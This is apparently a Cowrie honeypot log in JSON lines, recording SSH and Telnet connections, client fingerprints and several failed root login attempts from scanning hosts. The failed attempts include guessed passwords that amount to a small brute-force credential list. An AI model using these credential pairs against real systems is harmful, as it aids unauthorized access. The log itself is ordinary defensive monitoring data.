{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:31.629027Z","src_ip":"43.134.100.175","session":"4528598f74d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada0bc4293e6","protocol":"telnet","message":"New connection: 192.119.13.58:55490 (10.17.0.5:23) [session: ada0bc4293e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:31.746307Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"artur123","message":"login attempt [root/artur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:32.613086Z","src_ip":"43.134.100.175","session":"4528598f74d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f94d72c29ce","protocol":"telnet","message":"New connection: 192.119.13.58:33546 (10.17.0.5:23) [session: 2f94d72c29ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:33.386993Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:33.853793Z","src_ip":"43.134.100.175","session":"4528598f74d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.14419746398926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:37.082196Z","src_ip":"192.119.13.58","session":"fdc8f06dcf68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.301912784576416,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:37.314336Z","src_ip":"192.119.13.58","session":"03957f74a319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.31712245941162,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:41.243402Z","src_ip":"192.119.13.58","session":"b0dbaece5660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37156,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab65882db5e","protocol":"telnet","message":"New connection: 192.119.13.58:37156 (10.17.0.5:23) [session: 3ab65882db5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:41.866776Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39990,"dst_ip":"10.17.0.5","dst_port":23,"session":"96900e26e462","protocol":"telnet","message":"New connection: 192.119.13.58:39990 (10.17.0.5:23) [session: 96900e26e462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:42.643436Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":46960,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6a906bf9b3","protocol":"ssh","message":"New connection: 43.163.121.249:46960 (159.203.135.109:22) [session: 4d6a906bf9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:43.076933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:43.082479Z","src_ip":"43.163.121.249","session":"4d6a906bf9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:43.328515Z","src_ip":"43.163.121.249","session":"4d6a906bf9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43398,"dst_ip":"10.17.0.5","dst_port":23,"session":"52eb5081efe0","protocol":"telnet","message":"New connection: 192.119.13.58:43398 (10.17.0.5:23) [session: 52eb5081efe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:43.425776Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"9999","message":"login attempt [root/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:44.351136Z","src_ip":"43.163.121.249","session":"4d6a906bf9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48292,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d36e1b1dae","protocol":"telnet","message":"New connection: 192.119.13.58:48292 (10.17.0.5:23) [session: a3d36e1b1dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:44.535711Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:45.600446Z","src_ip":"43.163.121.249","session":"4d6a906bf9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.23673725128174,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:48.300499Z","src_ip":"192.119.13.58","session":"f376935176f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.45417928695679,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:48.760482Z","src_ip":"192.119.13.58","session":"b01f178af9c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1668267250061,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:55.935872Z","src_ip":"192.119.13.58","session":"e9c17a615bcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.27345037460327,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:58.473940Z","src_ip":"192.119.13.58","session":"b1a18aaa8165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a9805d3b90","protocol":"telnet","message":"New connection: 192.119.13.58:54286 (10.17.0.5:23) [session: e7a9805d3b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:59.508735Z"}
{"eventid":"cowrie.session.closed","duration":34.3255500793457,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:59.538058Z","src_ip":"192.119.13.58","session":"f6a9e82534f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.32.109.50","src_port":51912,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf53c941720","protocol":"telnet","message":"New connection: 190.32.109.50:51912 (159.203.135.109:23) [session: 2bf53c941720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:53:59.653900Z"}
{"eventid":"cowrie.session.closed","duration":41.80537128448486,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:00.888560Z","src_ip":"192.119.13.58","session":"6ce91270762a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":37782,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ff055bb47e","protocol":"ssh","message":"New connection: 69.6.222.198:37782 (159.203.135.109:22) [session: 16ff055bb47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:05.555656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:05.562623Z","src_ip":"69.6.222.198","session":"16ff055bb47e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:05.680430Z","src_ip":"69.6.222.198","session":"16ff055bb47e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paradox","message":"login attempt [root/paradox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:06.168134Z","src_ip":"69.6.222.198","session":"16ff055bb47e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:07.287047Z","src_ip":"69.6.222.198","session":"16ff055bb47e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.968851804733276,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:08.715005Z","src_ip":"192.119.13.58","session":"ada0bc4293e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45912,"dst_ip":"10.17.0.5","dst_port":22,"session":"011c97037d6e","protocol":"ssh","message":"New connection: 80.66.85.226:45912 (10.17.0.5:22) [session: 011c97037d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:09.541501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:09.547192Z","src_ip":"80.66.85.226","session":"011c97037d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:09.640472Z","src_ip":"80.66.85.226","session":"011c97037d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha123","message":"login attempt [root/masha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:09.919761Z","src_ip":"80.66.85.226","session":"011c97037d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.345744609832764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:10.732626Z","src_ip":"192.119.13.58","session":"2f94d72c29ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:11.015324Z","src_ip":"80.66.85.226","session":"011c97037d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"a595074a8e58","protocol":"telnet","message":"New connection: 192.119.13.58:47964 (10.17.0.5:23) [session: a595074a8e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:12.978402Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f97cfc446954","protocol":"telnet","message":"New connection: 192.119.13.58:53688 (10.17.0.5:23) [session: f97cfc446954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:13.282595Z"}
{"eventid":"cowrie.session.closed","duration":13.913865804672241,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:13.567639Z","src_ip":"190.32.109.50","session":"2bf53c941720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":43080,"dst_ip":"10.17.0.5","dst_port":22,"session":"08819a38080a","protocol":"ssh","message":"New connection: 103.75.183.219:43080 (10.17.0.5:22) [session: 08819a38080a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:15.041911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:15.052517Z","src_ip":"103.75.183.219","session":"08819a38080a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:15.297497Z","src_ip":"103.75.183.219","session":"08819a38080a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrnjh","message":"login attempt [root/dbrnjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:16.028798Z","src_ip":"103.75.183.219","session":"08819a38080a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:17.275073Z","src_ip":"103.75.183.219","session":"08819a38080a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48278,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5603207fe9a","protocol":"telnet","message":"New connection: 192.119.13.58:48278 (10.17.0.5:23) [session: c5603207fe9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:18.639273Z"}
{"eventid":"cowrie.session.closed","duration":35.687885999679565,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:19.113386Z","src_ip":"192.119.13.58","session":"52eb5081efe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.33185410499573,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:22.867459Z","src_ip":"192.119.13.58","session":"a3d36e1b1dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.36744832992554,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:23.234130Z","src_ip":"192.119.13.58","session":"3ab65882db5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":44550,"dst_ip":"159.203.135.109","dst_port":22,"session":"0479f1318246","protocol":"ssh","message":"New connection: 165.154.5.249:44550 (159.203.135.109:22) [session: 0479f1318246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:23.981442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:23.986294Z","src_ip":"165.154.5.249","session":"0479f1318246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:24.209274Z","src_ip":"165.154.5.249","session":"0479f1318246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm1qaz","message":"login attempt [root/0okm1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:25.144564Z","src_ip":"165.154.5.249","session":"0479f1318246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:26.368178Z","src_ip":"165.154.5.249","session":"0479f1318246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57524,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae3814bba97","protocol":"telnet","message":"New connection: 192.119.13.58:57524 (10.17.0.5:23) [session: 6ae3814bba97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:27.459983Z"}
